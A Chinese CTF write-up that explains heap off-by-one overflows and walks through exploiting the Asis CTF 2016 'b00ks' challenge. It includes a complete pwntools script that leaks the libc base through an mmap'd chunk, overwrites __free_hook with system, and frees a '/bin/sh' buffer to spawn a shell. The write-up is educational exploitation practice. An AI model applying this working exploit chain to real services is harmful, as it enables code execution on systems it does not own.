当前位置: 首页 > news >正文

CTF-PWN-堆- 【off-by-one】

文章目录

  • 堆的off-by-one
  • 利用思路
  • Asis CTF 2016 b00ks libc 2.31
  • IDA源码
    • main
    • 输入名字
    • creat函数
    • dele函数
    • edit函数
    • print函数
    • reeditor name函数
  • 思路
  • exp
    • 思路

堆的off-by-one

off-by-one指的是单字节缓冲区溢出(off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等)
写入字节时超过本身申请的一个字节

  • 循环设置错误,多写了一个字节
  • 字符串长度判断有误
    strlen()计算字符串的长度不包括空结束字符
    调用gets函数后 字符串结束符自动添加到输入字符串末尾
    strcpy拷贝时候会把空结束字符也拷贝)

利用思路

  • 当溢出部分可控制任意字节时,且溢出部分为size段时,可修改大小,进而泄露其他chunk数据或者覆盖其他块的数据

  • 当溢出部分固定为NULL字节时,且溢出部分为size段时,且size大小为0x100的整数倍时,它的低字节会被清0,同时标志位都会被清0,这样前一个chunk块会被认为free块

    (1)可以利用unlink
    (2)可以利用同时构造pre_size和对应的NULL字节溢出,然后unlink时合并,此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

注意2.28版本以后有check检查prev_size 找到的块的大小与prev_size 是否一致,2.28 及之前版本并没有该 check

/* consolidate backward */if (!prev_inuse(p)) {prevsize = prev_size (p);size += prevsize;p = chunk_at_offset(p, -((long) prevsize));/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */if (__glibc_unlikely (chunksize(p) != prevsize))malloc_printerr ("corrupted size vs. prev_size while consolidating");unlink_chunk (av, p);}

Asis CTF 2016 b00ks libc 2.31

IDA源码

main

在这里插入图片描述

输入名字

在这里插入图片描述
在这里插入图片描述
存在溢出 *a1=0

creat函数

在这里插入图片描述
在这里插入图片描述

dele函数

在这里插入图片描述

edit函数

在这里插入图片描述

print函数

在这里插入图片描述

reeditor name函数

在这里插入图片描述

思路

三类堆块:第一类为name的,第二类为description的,第三类为存储name和description堆块相关信息的
两坨空间:off_202010和0ff_202018分别存储着偏移202060和202040的地址,偏移202060对应的是author name的,偏移202040对应的是第三类堆块的地址
在这里插入图片描述

只有接近或超过top_chunk的size(128KB=2的17次方字节即0x2000)大小时候才会使用mmap扩展.
某些版本libc和mmap分配的堆块之间的偏移是固定的。

  • 利用溢出的空字符特性,首先写入32个字节的名字,然后creat两次,第一次对应的chunk大小都为malloc分配的,且该第三类chunk地址低字节覆盖为\x00时正好对应第二类chunk的地址,第二次对应的chunk大小大于top_chunk的size从而被mmap分配,然后利用printf时\x00截断的特性能够得到第一次对应的第三类chunk的地址
  • 然后重写第一次chunk的description(第二类chunk)构造为description部分对应第二次chunk的地址的chunk,然后重写名字,将空字符覆盖到储存第一次chunk对应的第三类chunk的指针数组位置,从而实现最低位字节为\x00,进而对应了第一次chunk的第二类chunk地址,
  • 然后print,此时会输出第二次chunk对应的description的chunk的地址,由于该chunk是mmap分配的,此时版本对应的该chunk地址和libc基址距离固定,可求libc基地址,进而求__free_hook地址和system函数地址
  • 然后再重写此时的第一次chunk(已经被构造为之前第一次chunk对应的description的chunk了)的description,进而修改第二次chunk的第三类chunk中的description的chunk的地址,此时用__free_hook的地址写入,然后重写第二次chunk的description可实现修改__free_hook的内容为system函数地址
  • 再次修改第一次chunk的description的从而实现向第二次chunk的第三类的chunk的description部分写入/bin/sh,最后dele第一次的chunk从而调用到free函数且此时有参数为/bin/sh的地址

exp

from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
s=process("./b00ks")
f=ELF("./b00ks")
libc=ELF("./libc-2.31.so")#gdb.attach(s,"b main")
def cre(name_size,name,description_size,description):s.recvuntil(b"> ")s.sendline(b'1')s.recvuntil(b"size: ")s.sendline(str(name_size))s.recvuntil(b"Enter book name (Max 32 chars): ")s.sendline(name)s.recvuntil(b"size: ")s.sendline(str(description_size))s.recvuntil(b"Enter book description: ")s.sendline(description)def change(name):s.recvuntil(b"> ")s.sendline(b"5")s.recvuntil(b": ")s.sendline(name)def printbook(id):s.recvuntil(b"> ")s.sendline(b'4')for i in range(id):s.recvuntil(b"ID: ")id=s.recvline()[:-1]s.recvuntil(b"Name: ")name=s.recvline()[:-1]s.recvuntil(b"Description: ")des=s.recvline()[:-1]s.recvuntil(b"A"*32)addr=s.recvline()[:-1]return name,addrdef edit(id,des):s.recvuntil(b"> ")s.sendline(b"3")s.recvuntil(b"edit: ")s.sendline(str(id))s.recvuntil(b"description: ")s.sendline(des)def dele(id):s.recvuntil(b"> ")s.sendline(b"2")s.recvuntil(b"to delete: ")s.sendline(str(id))s.recvuntil(b"name: ")
s.sendline(b"A"*32)
cre(64,b'10',32,b'10')
cre(0x21000,b"10",0x21000,b"10")name,addr=printbook(1)addr=u64(addr.ljust(8,b"\x00"))
payload=p64(1)+p64(addr+0x38)+p64(addr+0x40)+p64(0xfffffff)
edit(1,payload)
change(b"A"*32)
name,addr=printbook(1)
addr=u64(name.ljust(8,b'\x00'))
libc_base=addr+0x21ff0
free_hook_addr=libc.sym["__free_hook"]+libc_base
payload=p64(free_hook_addr)
edit(1,payload)
systemaddr=libc.sym["system"]+libc_base
edit(2,p64(systemaddr))
payload=b"/bin/sh".ljust(8,b"\x00")
edit(1,payload)
dele(1)
print(hex(addr+0x40))
print(hex(free_hook_addr))
print(hex(systemaddr))
s.interactive()

思路

1.利用IDA偏移加上vmmap命令得到的基址可得(或利用pwngdb 中的search命令搜索字符串从而知道位置)
2得知printf截断特性和原chunk写入时覆盖底地址为\x00(还没)
3在若覆盖生成的结构体指针对应位置伪造结构体(还没覆盖但伪造了)
4覆盖原有的结构体指针
5利用覆盖后的结构体指针
7将虚假chunk的部位设置为某位置的地址即可得到该地址的内容,再次利用printf导致泄露,从而知道函数地址
8调试看看泄露的函数地址和libc.so的基地址的偏移是否固定,进而求得其基址
9利用pwntools查找在libc.so库中找到_free_hook的偏移再加上基地址等等
10将_free_hook变量地址写到某个位置(可以将该位置存储的地址所指向的内容修改)。可修改_free_hook变量值为system函数地址,然后将free的参数对应的位置所对应的值修改为/bin/sh的地址 最后 利用free 参数即可getshell

相关文章:

  • 「Verilog学习笔记」实现3-8译码器①
  • MySQL存储架构
  • YoloV8改进策略:聚焦线性注意力重构YoloV8
  • 黑马程序员微服务 第五天课程 分布式搜索引擎2
  • 【详解】堡垒机和vpn是一个东西吗
  • 移远EC600U-CN开发板 11.17
  • ClickHouse的分片和副本
  • 【Ubuntu】安装Docker
  • 【VRTK】【VR开发】【Unity】6-设置interactor和虚拟手
  • Python-pptx教程之二操作已有PPT模板文件
  • 鸿蒙4.0开发笔记之DevEco Studio如何使用Previewer窗口预览器(一)
  • S25FL256S介绍及FPGA实现思路
  • SELinux零知识学习十六、SELinux策略语言之类型强制(1)
  • java接收前端easyui datagrid传递的数组参数
  • Redis(集合Set和有序集合SortedSet)
  • php的引用
  • “Material Design”设计规范在 ComponentOne For WinForm 的全新尝试!
  • Angular Elements 及其运作原理
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • axios 和 cookie 的那些事
  • Date型的使用
  • ES6系列(二)变量的解构赋值
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • javascript从右向左截取指定位数字符的3种方法
  • JSONP原理
  • UEditor初始化失败(实例已存在,但视图未渲染出来,单页化)
  • 基于Dubbo+ZooKeeper的分布式服务的实现
  • 基于阿里云移动推送的移动应用推送模式最佳实践
  • 山寨一个 Promise
  • 使用 @font-face
  • 【干货分享】dos命令大全
  • ​flutter 代码混淆
  • !$boo在php中什么意思,php前戏
  • #14vue3生成表单并跳转到外部地址的方式
  • #控制台大学课堂点名问题_课堂随机点名
  • (4)(4.6) Triducer
  • (42)STM32——LCD显示屏实验笔记
  • (HAL库版)freeRTOS移植STMF103
  • (Matlab)使用竞争神经网络实现数据聚类
  • (pytorch进阶之路)扩散概率模型
  • (ros//EnvironmentVariables)ros环境变量
  • (大众金融)SQL server面试题(1)-总销售量最少的3个型号的车及其总销售量
  • (附源码)springboot工单管理系统 毕业设计 964158
  • (深度全面解析)ChatGPT的重大更新给创业者带来了哪些红利机会
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (转) ns2/nam与nam实现相关的文件
  • (转) RFS+AutoItLibrary测试web对话框
  • (转)IOS中获取各种文件的目录路径的方法
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • .NET Core Web APi类库如何内嵌运行?
  • .NET Remoting Basic(10)-创建不同宿主的客户端与服务器端
  • .Net Remoting常用部署结构
  • .NetCore Flurl.Http 升级到4.0后 https 无法建立SSL连接
  • .Net转Java自学之路—基础巩固篇十三(集合)
  • @RequestMapping-占位符映射